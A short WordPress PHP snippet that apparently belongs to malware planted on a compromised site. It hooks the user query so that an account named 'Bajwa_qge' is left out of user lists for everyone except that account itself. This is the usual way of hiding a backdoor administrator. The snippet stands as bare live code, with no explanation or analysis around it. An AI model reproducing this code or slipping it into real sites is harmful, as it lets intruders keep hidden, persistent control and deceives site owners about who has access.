add_action('pre_user_query', 'hide_user_Bajwa_qge');
function hide_user_Bajwa_qge($query) {
    global $current_user;
    if(isset($current_user->user_login) && $current_user->user_login !== 'Bajwa_qge') {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(' AND {Mb8NM_users}.user_login != %s', 'Bajwa_qge');
    }
}
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